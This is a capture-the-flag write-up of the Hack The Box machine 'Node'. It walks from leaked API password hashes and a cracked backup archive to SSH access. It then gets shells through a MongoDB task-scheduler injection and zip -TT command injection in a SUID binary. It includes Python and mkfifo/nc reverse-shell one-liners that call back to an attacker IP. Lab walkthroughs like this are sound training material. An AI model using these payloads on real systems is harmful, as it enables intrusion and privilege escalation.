Node

Reconnaissance:

NMAP:

┌──(kali💀kali)-[~]
└─$ sudo nmap -sC -sV -O 10.10.10.58 

22/tcp   open  ssh                OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 dc:5e:34:a6:25:db:43:ec:eb:40:f4:96:7b:8e:d1:da (RSA)
|   256 6c:8e:5e:5f:4f:d5:41:7d:18:95:d1:dc:2e:3f:e5:9c (ECDSA)
|_  256 d8:78:b8:5d:85:ff:ad:7b:e6:e2:b5:da:1e:52:62:36 (ED25519)

3000/tcp open  hadoop-tasktracker Apache Hadoop
| hadoop-datanode-info: 
|_  Logs: /login
| hadoop-tasktracker-info: 
|_  Logs: /login
|_http-title: MyPlace

Device type: general purpose|specialized|phone|storage-misc
Running (JUST GUESSING): Linux 3.X|4.X (90%), Crestron 2-Series (86%), Google Android 4.X (86%), HP embedded (85%)
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 cpe:/o:crestron:2_series cpe:/o:google:android:4.0 cpe:/h:hp:p2000_g3
Aggressive OS guesses: Linux 3.10 - 4.11 (90%), Linux 3.12 (90%), Linux 3.13 (90%), Linux 3.13 or 4.2 (90%), Linux 3.16 - 4.6 (90%), Linux 3.2 - 4.9 (90%), Linux 3.8 - 3.11 (90%), Linux 4.2 (90%), Linux 4.4 (90%), Linux 3.16 (88%)
┌──(kali💀kali)-[~]
└─$ sudo nmap -sU -O 10.10.10.58  

All 1000 scanned ports on 10.10.10.58 (10.10.10.58) are in ignored states.
┌──(kali💀kali)-[~]
└─$ sudo nmap -sC -sV -p- 10.10.10.58

22/tcp   open  ssh                OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 dc:5e:34:a6:25:db:43:ec:eb:40:f4:96:7b:8e:d1:da (RSA)
|   256 6c:8e:5e:5f:4f:d5:41:7d:18:95:d1:dc:2e:3f:e5:9c (ECDSA)
|_  256 d8:78:b8:5d:85:ff:ad:7b:e6:e2:b5:da:1e:52:62:36 (ED25519)

3000/tcp open  hadoop-tasktracker Apache Hadoop
|_http-title: MyPlace
| hadoop-datanode-info: 
|_  Logs: /login
| hadoop-tasktracker-info: 
|_  Logs: /login
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

The OpenSSH version that is running on port 22 is not associated with any critical vulnerabilities, so it’s unlikely that we gain initial access through this port, unless we find credentials.

Ports 3000 is running a web server, so we’ll perform our standard enumeration techniques on it.

Enumeration: TCP Port 3000

I always start off with enumerating HTTP first.

http://10.10.10.58:3000/

View page source to to see if there are any left over comments, extra information, version number, etc.

view-source:http://10.10.10.58:3000/

<script type="text/javascript" src="vendor/jquery/jquery.min.js"></script>
<script type="text/javascript" src="vendor/bootstrap/js/bootstrap.min.js"></script>
<script type="text/javascript" src="vendor/angular/angular.min.js"></script>
<script type="text/javascript" src="vendor/angular/angular-route.min.js"></script>
<script type="text/javascript" src="assets/js/app/app.js"></script>
<script type="text/javascript" src="assets/js/app/controllers/home.js"></script>
<script type="text/javascript" src="assets/js/app/controllers/login.js"></script>
<script type="text/javascript" src="assets/js/app/controllers/admin.js"></script>
<script type="text/javascript" src="assets/js/app/controllers/profile.js"></script>
<script type="text/javascript" src="assets/js/misc/freelancer.min.js"></script>

http://10.10.10.58:3000/assets/js/app/controllers/home.js

var controllers = angular.module('controllers');

controllers.controller('HomeCtrl', function ($scope, $http) {
  $http.get('/api/users/latest').then(function (res) {
    $scope.users = res.data;
  });
});

There’s a link to a list of users. Let’s see if that link is restricted.

[{"_id":"59a7368398aa325cc03ee51d","username":"tom","password":"f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240","is_admin":false},
{"_id":"59a7368e98aa325cc03ee51e","username":"mark","password":"de5a1adf4fedcce1533915edc60177547f1057b61b7119fd130e1f7428705f73","is_admin":false},
{"_id":"59aa9781cced6f1d1490fce9","username":"rastating","password":"5065db2df0d4ee53562c650c29bacf55b97e231e3fe88570abc9edd8b78ac2f0","is_admin":false}]

We get back the above results giving us what seems to be usernames and hashed passwords. As stated with the “is-admin” flag, none of them have admin functionality.

Similarly, the /admin.js script contains the following code.

http://10.10.10.58:3000/assets/js/app/controllers/admin.js

var controllers = angular.module('controllers');

controllers.controller('AdminCtrl', function ($scope, $http, $location, $window) {
  $scope.backup = function () {
    $window.open('/api/admin/backup', '_self');
  }

  $http.get('/api/session')
    .then(function (res) {
      if (res.data.authenticated) {
        $scope.user = res.data.user;
      }
      else {
        $location.path('/login');
      }
    });
});

http://10.10.10.58:3000/api/admin/backup

{"authenticated":false}

When you visit the /api/admin/backup link, you get an “authenticated: false” error. This link is restricted but at least we know that the admin account has a backup file in it.

The /profile.js script contains the following code.

http://10.10.10.58:3000/assets/js/app/controllers/profile.js

var controllers = angular.module('controllers');

controllers.controller('ProfileCtrl', function ($scope, $http, $routeParams) {
  $http.get('/api/users/' + $routeParams.username)
    .then(function (res) {
      $scope.user = res.data;
    }, function (res) {
      $scope.hasError = true;

      if (res.status == 404) {
        $scope.errorMessage = 'This user does not exist';
      }
      else {
        $scope.errorMessage = 'An unexpected error occurred';
      }
    });
});

http://10.10.10.58:3000/api/users/

{"_id":"59a7365b98aa325cc03ee51c","username":"myP14ceAdm1nAcc0uNT","password":"dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af","is_admin":true},
{"_id":"59a7368398aa325cc03ee51d","username":"tom","password":"f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240","is_admin":false},
{"_id":"59a7368e98aa325cc03ee51e","username":"mark","password":"de5a1adf4fedcce1533915edc60177547f1057b61b7119fd130e1f7428705f73","is_admin":false},
{"_id":"59aa9781cced6f1d1490fce9","username":"rastating","password":"5065db2df0d4ee53562c650c29bacf55b97e231e3fe88570abc9edd8b78ac2f0","is_admin":false}]

When you visit the /api/users/ link, we get a full list of hashed user credentials, including the admin account!

Copy the credentials and save them in a file.

dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af
f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240
de5a1adf4fedcce1533915edc60177547f1057b61b7119fd130e1f7428705f73
5065db2df0d4ee53562c650c29bacf55b97e231e3fe88570abc9edd8b78ac2f0

Use a password cracking tool in order to crack as many passwords as possible. For this blog, I used an online tool since it’s faster than my local machine.

We get back the following result showing that it cracked 3/4 passwords.

dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af	sha256	manchester
f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240	sha256	spongebob
de5a1adf4fedcce1533915edc60177547f1057b61b7119fd130e1f7428705f73	sha256	snowflake
5065db2df0d4ee53562c650c29bacf55b97e231e3fe88570abc9edd8b78ac2f0	Unknown	Not found.

One thing to note here is none of the passwords are salted. This can be verified using the following command.

echo -n "manchester" | sha256sum
dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af  -

This obviously considerably decreased the amount of time it would have taken the tool to crack all the passwords. Let’s login with the admin’s account myP14ceAdm1nAcc0uNT/manchester.

http://10.10.10.58:3000/admin myP14ceAdm1nAcc0uNT manchester

Click on the Download Backup button to download the file. Run the following command to determine the file type.

┌──(kali💀kali)-[~/Downloads]
└─$ file myplace.backup
myplace.backup: ASCII text, with very long lines (65536), with no line terminators

It contains ASCII text. Let’s view the first few characters of the file.

┌──(kali💀kali)-[~/Downloads]
└─$ head -c100 myplace.backup
UEsDBAoAAAAAABqJEFUAAAAAAAAAAAAAAAAQABwAdmFyL3d3dy9teXBsYWNlL1VUCQADFMH7YghUk2V1eAsAAQQAAAAABAAAAABQ

This looks like base64 encoding. Let’s try and decode the file.

┌──(kali💀kali)-[~/Downloads]
└─$ cat myplace.backup | base64 --decode > myplace-decoded.backup 

Now view the file type.

┌──(kali💀kali)-[~/Downloads]
└─$ file myplace-decoded.backup
myplace-decoded.backup: Zip archive data, at least v1.0 to extract, compression method=store

It’s a zip file! Let’s try and decompress it.

┌──(kali💀kali)-[~/Downloads]
└─$ unzip myplace-decoded.backup 

It requires a password. Run a password cracker on the file.

┌──(kali💀kali)-[~/Downloads]
└─$ fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt myplace-decoded.backup

PASSWORD FOUND!!!!: pw == magicword

-u: try to decompress the first file by calling unzip with the guessed password -D: select dictionary mode -p: password file

Unzip the file using the above password.

┌──(kali💀kali)-[~/Downloads]
└─$ unzip myplace-decoded.backup 

Now it’s a matter of going through the files to see if there are hard coded credentials, exploitable vulnerabilities, use of vulnerable dependencies, etc. While reviewing the files, you’ll see hard coded mongodb credentials in the app.js file.

const url         = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/myplace?authMechanism=DEFAULT&authSource=myplace';
const backup_key  = '45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474';

We found a username ‘mark’ and a password ‘5AYRft73VtFpc84k’ to connect to mongodb locally. We also see a backup_key which we’re not sure where it’s used, but we’ll make note of it.

Shell as mark

Most user’s reuse passwords, so let’s use the password we found to SSH into mark’s account.

SSH:

ssh mark@10.10.10.58
5AYRft73VtFpc84k
mark@node:~$ whoami
mark

It worked! Let’s locate the user.txt flag and view it’s contents.

mark@node:~$ locate user.txt
/home/tom/user.txt

mark@node:~$ cat /home/tom/user.txt 
cat: /home/tom/user.txt: Permission denied

We need to either escalate our privileges to tom or root in order to view the flag. Let’s transfer the linpeas script from our attack machine to the target machine. In the attack machine, start up a server in the same directory that the script resides in.

┌──(kali💀kali)-[~/Desktop/7. Priv Esc]
└─$ python -m SimpleHTTPServer 5555

In the target machine, move to the /tmp directory where we have write privileges and download the linpeas script.

mark@node:~$ cd /tmp
mark@node:/tmp$ wget http://10.10.16.4:5555/linpeas.sh
mark@node:/tmp$ chmod +x linpeas.sh
mark@node:/tmp$ ./linpeas.sh

Shell as tom

Below are the important snippets of the script output that will allow us to escalate privileges to tom.

╔══════════╣ Executing Linux Exploit Suggester 2
╚ https://github.com/jondonas/linux-exploit-suggester-2                                          
  [1] af_packet                                                                                  
      CVE-2016-8655
      Source: http://www.exploit-db.com/exploits/40871
  [2] exploit_x
      CVE-2018-14665
      Source: http://www.exploit-db.com/exploits/45697
  [3] get_rekt
      CVE-2017-16695
      Source: http://www.exploit-db.com/exploits/45010

╔══════════╣ Users with console
mark:x:1001:1001:Mark,,,:/home/mark:/bin/bash                                                    
root:x:0:0:root:/root:/bin/bash
tom:x:1000:1000:tom,,,:/home/tom:/bin/bash
                                         
╔══════════╣ Hostname, hosts and DNS
node                                                                                             
127.0.0.1       localhost
127.0.1.1       node

::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

╔══════════╣ Active Ports
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-ports                    
tcp        0      0 127.0.0.1:27017         0.0.0.0:*               LISTEN      -                
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -               
tcp6       0      0 :::3000                 :::*                    LISTEN      -    

The networking section tells us that mongodb is listening locally on port 27017. We can connect to it because we found hardcoded credentials in the app.js file. The services section tells us that there is a process compiling the app.js file that is being run by Tom. Since we are trying to escalate our privileges to Toms’, let’s investigate this file.

mark@node:/tmp$ ls -la /var/scheduler/
total 28
drwxr-xr-x  3 root root 4096 Aug 16  2022 .
drwxr-xr-x 15 root root 4096 Aug 16  2022 ..
-rw-rw-r--  1 root root  910 Sep  3  2017 app.js
drwxr-xr-x 19 root root 4096 Aug 16  2022 node_modules
-rw-r--r--  1 root root 4709 Sep  3  2017 package-lock.json
-rw-rw-r--  1 root root  176 Sep  3  2017 package.json

We only have permissions to read the file, so we can’t simply include a reverse shell in there. Let’s view the file, maybe we can exploit it in another way.

mark@node:/tmp$ cat /var/scheduler/app.js
const exec        = require('child_process').exec;
const MongoClient = require('mongodb').MongoClient;
const ObjectID    = require('mongodb').ObjectID;
const url         = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/scheduler?authMechanism=DEFAULT&authSource=scheduler';

MongoClient.connect(url, function(error, db) {
  if (error || !db) {
    console.log('[!] Failed to connect to mongodb');
    return;
  }

  setInterval(function () {
    db.collection('tasks').find().toArray(function (error, docs) {
      if (!error && docs) {
        docs.forEach(function (doc) {
          if (doc) {
            console.log('Executing task ' + doc._id + '...');
            exec(doc.cmd);
            db.collection('tasks').deleteOne({ _id: new ObjectID(doc._id) });
          }
        });
      }
      else if (error) {
        console.log('Something went wrong: ' + error);
      }
    });
  }, 30000);

});

If you’re like me and you’re not too familiar with the mongodb structure, this might help

We login using mark’s credentials and access the scheduler database. The set interval function seems to be checking for documents (equivalent to rows) in the tasks collection (equivalent to tables). For each document it executes the cmd field. Since we do have access to the database, we can add a document that contains a reverse shell as the cmd value to escalate privileges. Let’s connect to the database.

mark@node:/tmp$ mongo -u mark -p 5AYRft73VtFpc84k localhost:27017/scheduler
MongoDB shell version: 3.2.16
connecting to: localhost:27017/scheduler

-u: username -p: password host:port/db: connection string

Let’s run a few commands to learn more about the database.

> db
scheduler

> show collections
tasks

> db.tasks.find()

The tasks collection does not contain any documents. Let’s add one that sends a reverse shell back to our attack machine.

# insert document that contains a reverse shell
db.tasks.insert({cmd: "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.16.4\",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"})

# double check that the document got added properly.
db.tasks.find()

Set up a listener to receive the reverse shell.

┌──(kali💀kali)-[~/Desktop]
└─$ nc -nlvp 1234

Wait for the scheduled task to run.

┌──(kali💀kali)-[~/Desktop]
└─$ nc -nlvp 1234
listening on [any] 1234 ...
connect to [10.10.16.4] from (UNKNOWN) [10.10.10.58] 51704
/bin/sh: 0: can't access tty; job control turned off
$ whoami
tom

We get a shell! Let’s upgrade it to a better shell.

$ python -c 'import pty; pty.spawn("/bin/bash")'

Grab the user.txt flag.

tom@node:/$ cat /home/tom/user.txt
b089d--------------------------------

Shell as root

When gaining access to a second user in a CTF machine, it’s always useful to think about what files can be accesses/run now that couldn’t before. One way to approach that is to look at the groups associated with the new user:

tom@node:~$ id
uid=1000(tom) gid=1000(tom) groups=1000(tom),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),115(lpadmin),116(sambashare),1002(admin)

sudo is the first to jump out, but trying to run sudo prompts for tom’s password, which I don’t have:

adm means that I can access all the logs, and that’s worth checking out, but admin is more interesting. It’s group id (gid) is above 1000, which means it’s a group created by an admin instead of by the OS, which means it’s custom. Looking for files with this group, there’s only one:

tom@node:/tmp$ find / -group admin -ls 2>/dev/null                                                
    56747     20 -rwsr-xr--   1 root     admin       16484 Sep  3  2017 /usr/local/bin/backup  

It’s also a SUID binary owned by root, which means it runs as root. Interestingly, this binary is called from /var/www/myplace/app.js

It calls backup -q backup_key __dirname, where __dirname is the current directory. The binary is a 32-bit ELF:

tom@node:/tmp$ file /usr/local/bin/backup                                                         
/usr/local/bin/backup: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=343cf2d93fb2905848a42007439494a2b4984369, not stripped  

Dynamic Analysis:

Before pulling this binary back and opening in in Ghidra, I’ll try running it on Node. It returns without any output:

tom@node:~$ backup

I tried giving it arguments to see if there was a check at the front looking for a certain number, and on three, it output something:

tom@node:/tmp$ backup a a a

This makes sense with how this binary is called from app.js above. It’s complaining about needing a magic word.

Token Check:

I’ll run that again with ltrace, and change the three args so that they are different (to better track which is which), so ltrace a b c. I’ll walk through the output in chunks. First it checks the effective user id, and then sets the uid to 0, root. Then it does a string comparison between “a” (first arg input) and “-q”:

/etc/myplace/keys shows the three 64-characters hashes and a blank line just as observed with ltrace:

tom@node:/tmp$ cat /etc/myplace/keys                                                             
a01a6aa5aaf1d7729f35c8278daae30f8a988257144c003f8b12c5aec39bc508                                 
45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474                                 
3de811f4ab2b7543eaf45df611c2dd2541a5fc5af601772638b81dce6852d110  

If I put one of those hashes into the second argument, it runs past the access token check:

tom@node:/tmp$ backup a a01a6aa5aaf1d7729f35c8278daae30f8a988257144c003f8b12c5aec39bc508 c       

 [+] Validated access token                                                                      
 [+] Starting archiving c                                                                        
 [!] The target path doesn't exist 

Interestingly, it will also work with an empty string as the token arg (because there’s an empty line in the keys file):

tom@node:/tmp$ backup a '' c  

Path:

With a valid token, it says it’s “archiving c”, and then complains that the path doesn’t exist. I’ll try replacing “c” with a path. I’ll create a single file in /dev/shm, and then pass that path to backup:

tom@node:/tmp$ cd /dev/shm                                                                       

tom@node:/dev/shm$ echo "test" > exodus                                                          

tom@node:/dev/shm$ backup a "" /dev/shm/  
 [+] Validated access token                                                                      
 [+] Starting archiving /dev/shm/                                                                
 [+] Finished! Encoded backup is below:                                                          
                                                                                                 
UEsDBAoAAAAAAIk5IlgAAAAAAAAAAAAAAAAIABwAZGV2L3NobS9VVAkAA1K3k2V+t5NldXgLAAEEAAAAAAQAAAAAUEsDBAoACQAAAIk5IljGNbk7EQAAAAUAAAAOABwAZGV2L3NobS9leG9kdXNVVAkAA1K3k2Vct5NldXgLAAEE6AMAAAToAwAAGEuEW8O4yJnyFTBD1d1RpBlQSwcIxjW5OxEAAAAFAAAAUEsBAh4DCgAAAAAAiTkiWAAAAAAAAAAAAAAAAAgAGAAAAAAAAAAQAP9DAAAAAGRldi9zaG0vVVQFAANSt5NldXgLAAEEAAAAAAQAAAAAUEsBAh4DCgAJAAAAiTkiWMY1uTsRAAAABQAAAA4AGAAAAAAAAQAAAKSBQgAAAGRldi9zaG0vZXhvZHVzVVQFAANSt5NldXgLAAEE6AMAAAToAwAAUEsFBgAAAAACAAIAogAAAKsAAAAAAA==    

If I change “a” to “-q”, it will just print the base64:

tom@node:/dev/shm$ backup -q "" /dev/shm/                                                        

UEsDBAoAAAAAAIk5IlgAAAAAAAAAAAAAAAAIABwAZGV2L3NobS9VVAkAA1K3k2XJt5NldXgLAAEEAAAAAAQAAAAAUEsDBAoACQAAAIk5IljGNbk7EQAAAAUAAAAOABwAZGV2L3NobS9leG9kdXNVVAkAA1K3k2V+t5NldXgLAAEE6AMAAAToAwAAFjF+Dtz98392alsnGuJYqEtQSwcIxjW5OxEAAAAFAAAAUEsBAh4DCgAAAAAAiTkiWAAAAAAAAAAAAAAAAAgAGAAAAAAAAAAQAP9DAAAAAGRldi9zaG0vVVQFAANSt5NldXgLAAEEAAAAAAQAAAAAUEsBAh4DCgAJAAAAiTkiWMY1uTsRAAAABQAAAA4AGAAAAAAAAQAAAKSBQgAAAGRldi9zaG0vZXhvZHVzVVQFAANSt5NldXgLAAEE6AMAAAToAwAAUEsFBgAAAAACAAIAogAAAKsAAAAAAA==

Just like before, the base64 decodes to a zip file, which contains the directory:

tom@node:/dev/shm$ backup -q "" /dev/shm/ | base64 -d > test.zip
tom@node:/dev/shm$ unzip -l test.zip                                                             
Archive:  test.zip                                                                               
  Length      Date    Time    Name                                                               
---------  ---------- -----   ----                                                               
        0  2024-01-02 07:15   dev/shm/                                                           
        0  2024-01-02 07:15   dev/shm/test.zip                                                   
        5  2024-01-02 07:12   dev/shm/exodus                                                     
---------                     -------                                                            
        5                     3 files   

It unzips with the same password as before (“magicword”):

tom@node:/dev/shm$ unzip test.zip                                                                
magicword
                                                                                                 
 extracting: dev/shm/test.zip                                                                    
 extracting: dev/shm/exodus 
tom@node:/dev/shm$ ls                                                                                                                                                                         
dev  exodus  test.zip 

tom@node:/dev/shm$ cat dev/shm/exodus                                                            
test 

Troll:

The obvious next step is to backup /root. Right at the start I can tell something is different because there’s a message that prints, even in -q mode:

tom@node:/dev/shm$ backup -q "" /root/ | base64 -d > root.zip                                    
tom@node:/dev/shm$ backup -q "" /root                                                            

 [+] Finished! Encoded backup is below:                                                          
                                                                                                 
UEsDBDMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAcm9vdC50eHQBmQcAAgBBRQEIAEbBKBl0rFrayqfbwJ2YyHunnYq1Za6G7XLo8C3RH/hu0fArpSvYauq4AUycRmLuWvPyJk3sF+HmNMciNHfFNLD3LdkGmgwSW8j50xlO6SWiH5qU1Edz340bxpSlvaKvE4hnK/oan4wWPabhw/2rwaaJSXucU+pLgZorY67Q/Y6cfA2hLWJabgeobKjMy0njgC9c8cQDaVrfE/ZiS1S+rPgz/e2Pc3lgkQ+lAVBqjo4zmpQltgIXauCdhvlA1Pe/BXhPQBJab7NVF6Xm3207EfD3utbrcuUuQyF+rQhDCKsAEhqQ+Yyp1Tq2o6BvWJlhtWdts7rCubeoZPDBD6Mejp3XYkbSYYbzmgr1poNqnzT5XPiXnPwVqH1fG8OSO56xAvxx2mU2EP+Yhgo4OAghyW1sgV8FxenV8p5c+u9bTBTz/7WlQDI0HUsFAOHnWBTYR4HTvyi8OPZXKmwsPAG1hrlcrNDqPrpsmxxmVR8xSRbBDLSrH14pXYKPY/a4AZKO/GtVMULlrpbpIFqZ98zwmROFstmPl/cITNYWBlLtJ5AmsyCxBybfLxHdJKHMsK6Rp4MO+wXrd/EZNxM8lnW6XNOVgnFHMBsxJkqsYIWlO0MMyU9L1CL2RRwm2QvbdD8PLWA/jp1fuYUdWxvQWt7NjmXo7crC1dA0BDPg5pVNxTrOc6lADp7xvGK/kP4F0eR+53a4dSL0b6xFnbL7WwRpcF+Ate/Ut22WlFrg9A8gqBC8Ub1SnBU2b93ElbG9SFzno5TFmzXk3onbLaaEVZl9AKPA3sGEXZvVP+jueADQsokjJQwnzg1BRGFmqWbR6hxPagTVXBbQ+hytQdd26PCuhmRUyNjEIBFx/XqkSOfAhLI9+Oe4FH3hYqb1W6xfZcLhpBs4Vwh7t2WGrEnUm2/F+X/OD+s9xeYniyUrBTEaOWKEv2NOUZudU6X2VOTX6QbHJryLdSU9XLHB+nEGeq+sdtifdUGeFLct+Ee2pgR/AsSexKmzW09cx865KuxKnR3yoC6roUBb30Ijm5vQuzg/RM71P5ldpCK70RemYniiNeluBfHwQLOxkDn/8MN0CEBr1eFzkCNdblNBVA7b9m7GjoEhQXOpOpSGrXwbiHHm5C7Zn4kZtEy729ZOo71OVuT9i+4vCiWQLHrdxYkqiC7lmfCjMh9e05WEy1EBmPaFkYgxK2c6xWErsEv38++8xdqAcdEGXJBR2RT1TlxG/YlB4B7SwUem4xG6zJYi452F1klhkxloV6paNLWrcLwokdPJeCIrUbn+C9TesqoaaXASnictzNXUKzT905OFOcJwt7FbxyXk0z3FxD/tgtUHcFBLAQI/AzMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAAAAAAAAAIIC0gQAAAAByb290LnR4dAGZBwACAEFFAQgAUEsFBgAAAAABAAEAQQAAAB4EAAAAAA==   

The string does decode to a .zip archive, but it’s a different kind of archive, as it doesn’t decompress with unzip:

tom@node:/dev/shm$ backup -q "" /root | tail -1 | base64 -d > root.zip
tom@node:/dev/shm$ unzip -l root.zip                                                             
Archive:  root.zip                                                                               
  Length      Date    Time    Name                                                               
---------  ---------- -----   ----                                                               
     2584  2017-09-02 23:51   root.txt                                                           
---------                     -------                                                            
     2584                     1 file  
tom@node:/dev/shm$ unzip root.zip                                                                
unzip root.zip                                                                                   
Archive:  root.zip                                                                               
   skipping: root.txt                need PK compat. v5.1 (can do v4.6) 

I’ll bring that base64 string back to my vm and uze 7z to decompress. The file is an ASCII art troll:

Abusing the Program Dependencies:

One thing that stuck out at me is the program runs zip directly on the user-passed string without any sanitization or validation.

I should be able to pass a string into the application and it will be appended to the zip command:

# This...
/usr/bin/zip -r -P magicword %s %s > /dev/null

# Becomes this...
/usr/bin/zip -r -P magicword <my-string-here> %s > /dev/null

Let's give it a shot with something like the example give in GTFOBins.

tom@node:~$ /usr/local/bin/backup -q 3de811f4ab2b7543eaf45df611c2dd2541a5fc5af601772638b81dce6852d110 "/home/tom/user.txt -T -TT 'bash #'"  

Using user.txt as it is a small file and won't cause the program to hang

This causes the program to run:

/usr/bin/zip -r -P magicword /home/tom/user.txt -T -TT 'bash #' %s

The only problem with this shell is that I don't have any output. But, I can confirm I have a shell by creating a file:

root@node:/root# ls -l /tmp/i-got/root.txt

root@node:~# echo 'pwned' > /tmp/i-got-root.txt && chmod 644 /tmp/i-got-root.txt

root@node:~# rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.4 443 >/tmp/f
┌──(kali💀kali)-[~]
└─$ sudo rlwrap nc -lnvp 443

root@node:~# cat /root/root.txt
932d4----------------------------

Last updated